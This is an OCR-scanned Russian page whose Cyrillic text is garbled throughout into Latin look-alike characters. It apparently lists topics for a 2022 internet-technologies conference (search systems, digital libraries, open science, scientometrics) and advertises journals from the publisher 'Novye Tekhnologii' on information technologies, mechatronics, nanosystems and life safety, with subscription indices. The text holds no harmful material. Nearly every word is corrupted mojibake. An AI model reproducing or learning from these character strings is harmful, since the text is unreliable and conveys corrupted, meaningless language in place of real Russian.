e UHTepHeT-IPOEKTHI 1151 OHOMEAUIIUHBI

e Mojenu 1 METOIbl HOCTPOSHHUSI HOUCKOBBIX CUCTEM U CHCTEM HAaBUTALIMU B MHTEPHETE,
TEXHOJIOTUH U CHCTEMBI PACHIPEIEICHHOTO XpaHEeHHUsI 1 00pabOTKA TaHHBIX

e TexHOIOTHH U OIBIT TOCTPOSHHS HH(POPMAIIMOHHBIX CHCTEM U 0a3 JaHHBIX,
JOKyMEHTAIIUH U pe3yJIbTaTOB SKCIEPUMEHTa HAa OCHOBE HHTEPHET-TEXHOIOTHH

e [ludpossie 6ubnoTekn U OubIUOrpaduyeckue 6a3bl, ceMaHTUYECKHIi BeO,
HAyKOMETpHSI B UHTEPHETE

e OmnaifHoBas Hay4Has Iy OJIMKalUs, OTKPHITast HayKa, )KUBas Iy OJIMKaIusl, OHJIAHHOBOE
pelieH3upoBaHue, MY JIbTUMETUIHbIE WILTIOCTPAIIH

e [lomynspHblit Hay4HBI HHTEPHET, OHJIAHHOBbIE SHIMKIIONEINH, UCTOPUS HAYKH B

UHTEpHETe

VHTepHET-aKTUBHOCTH YYEHOT 0, IEPCOHAIbHAS CTPAHUIIA, TPO(UIN yIeHOTO B

oubmorpaduaecknx 6a3ax, aTrecTanusi B HHTCPHETES

e CucreMHOE U HHCTPYMEHTAIFHOE MMPOrpaMMHOE 00ECTIeYeHHE, SI3BIKH U MOAEITH
IPOTPaMMHPOBaHUS, (popMaIbHBIE METOABI /ISl HHTEPHET-TEXHOIOTHI

[TonpodbnocTu: http://agora.guru.ru/abrau2022/




Hzxareascreo «<HOBBIE TEXHOJOI'HH»

BbINIYCRACT HAYUHO-MEXHUUeCKUe IHCYPHAIbL

TEOPETHYECKHH W MPHKMAZHOR HAYWHO-TEXHWYECKWA XYPHAN

fiporpammuasn
MHHeHeua

MopnucHoW MHAEKE no
O6beauHeHHOMY KaTanory
«Mpecca Poccumn» — 72656

MEXATPOHVKA,
BBTOMAT/ZALS,

MopnucHoW MHAeKc no
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«Mpecca Poccumn» — 79492

.

.

ExxemecsuHbIi TeopeTHueckui
M MPUKAAAHOWN Hay4HO-
TEXHHUYECKHI XKyPHaA

NHOOPMALIMOHHDBIE
TEXHOJOI'MU

B XypHane ocBewaloTcs COBpeE-
MEHHOE COCTOSHWE, TEHAEHUMN W
MEPCreKTUBLI  PasBUTAS  OCHOBHBIX
HanpasneHWa B obnactu paspabot-
KM, MPOW3BOACTBA M MPUMEHEHMS
MHOPMALIMOHHBIX TEXHONOTMIA.

ExxemecsuHbIi TeopeTHUeCKHi
M MPUKAAAHOMN
HayYYHO-TEXHHUECKHI XKYPHAA

MEXATPOHUKA,
ABTOMATH3ALNS,
YMNPABJIEHUE

B >ypHane ocBelyaioTcs AOCTUXE-
HUS B 0BNacTM MeXaTpoHuKM, WH-
TErpupyloleli MexaHuKy, 3neKTpo-
HUKY, aBTOMaTUKy M WHOopMaTUKy
B LENAX COBEPLIEHCTBOBAHUS TEX-
HOMOrWiA MPOM3BOACTBA U CO3RaHMS
TEXHUKM HOBBIX MoKoneHuii. Pac-
cMaTpUBatoTCS aKTyanbHble npotne-
Mbl TEOPWUM M MpPakTvKX aBToMaTi
UECKOrO M aBTOMATUSMPOBAHHOIO
YrpaBneHns TEXHU{ECKUMN OBbek:
TaMU 1 TEXHOMOTUHECKVMI MPOLIEC-
caMu B MPOMBILNEHHOCTY, SHEpPrE-
TUKE W Ha TpaHCnopTe.

MexancuMnAMHapHbI#
TEOPETUUECKHUI U MPUKAAAHON
Hay4YHO-TEXHUUYECKUIN JKYPHaAA

HAHO- u
MUKPOCUCTEMHAS
TEXHUKA

B XypHane ocBelialoTcs COBpE-
MEHHOE COCTOsIHME, TEHREHUMA W
MepCrekTBLl PasBUTUS HaHo- W
MWKPOCUCTEMHOM  TEXHWUKM, pac-
CMaTpyuBatoTcA BOMPOC PasboTky
1 BHEAPEHNS! HaHOU MUKPOCUCTEM
B pasnuuHble obnacTi HayKu, Tex-
HOMOMM 1 MPOW3BOACTBA.

Hayuno-npaktnueckun
M y4e6HO-MEeTOAMUECKUH HYPHaA

BESONACHOCTD
MHISHEAEATEABHOCTH

B xypHane ocsewatoTcs pOCTU-
KEHUS 1 MepcrnekTMBbl B 0Bnacty
uccnenosaHuil, obecneyeHns U co-
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CTU XKU3HEREATENHOCTH.
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